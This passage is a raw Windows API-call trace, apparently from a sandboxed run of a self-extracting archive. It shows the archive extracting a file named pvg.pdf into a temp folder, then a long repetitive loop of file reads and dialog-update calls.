pDst=0x179cc0 | out: pDst="pvg.pdf") returned 1 [0068.028] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="pvg.pdf", cchCount2=1) returned 1 [0068.028] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="pvg.pdf", cchCount2=6) returned 1 [0068.028] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="pvg.pdf", cchCount2=-1) returned 1 [0068.028] SetFilePointer (in: hFile=0x1c, lDistanceToMove=858981, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1b65 [0068.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="pvg.pdf") returned 8 [0068.028] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.028] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting pvg.pdf") returned 18 [0068.028] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting pvg.pdf") returned 1 [0068.028] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.028] OemToCharBuffA (in: lpszSrc="p", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="p") returned 1 [0068.028] CharToOemBuffA (in: lpszSrc="P", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="P") returned 1 [0068.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="pvg.pdf") returned 8 [0068.028] FindFirstFileW (in: lpFileName="pvg.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.028] GetLastError () returned 0x2 [0068.028] GetFileAttributesA (lpFileName="pvg.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\pvg.pdf")) returned 0xffffffff [0068.028] CreateFileA (lpFileName="pvg.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\pvg.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.029] GetFileType (hFile=0x138) returned 0x1 [0068.029] SetFilePointer (in: hFile=0x138, lDistanceToMove=510, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1fe [0068.029] SetEndOfFile (hFile=0x138) returned 1 [0068.029] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19f, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x19f, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.029] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.029] GetTickCount () returned 0x1fa07 [0068.029] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.029] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.029] GetTickCount () returned 0x1fa07 [0068.029] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.029] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.029] GetTickCount () returned 0x1fa07 [0068.029] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.029] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.029] GetTickCount () returned 0x1fa07 [0068.029] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.029] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.029] GetTickCount () returned 0x1fa07 [0068.029] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.029] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.029] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.030] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.030] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.030] GetTickCount () returned 0x1fa07 [0068.030] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.030] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.031] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.031] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.031] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.031] GetTickCount () returned 0x1fa07 [0068.031] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.032] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.032] GetTickCount () returned 0x1fa07 [0068.032] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.032] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.032] SendDlgItemMessageW (hDlg=0x20216, 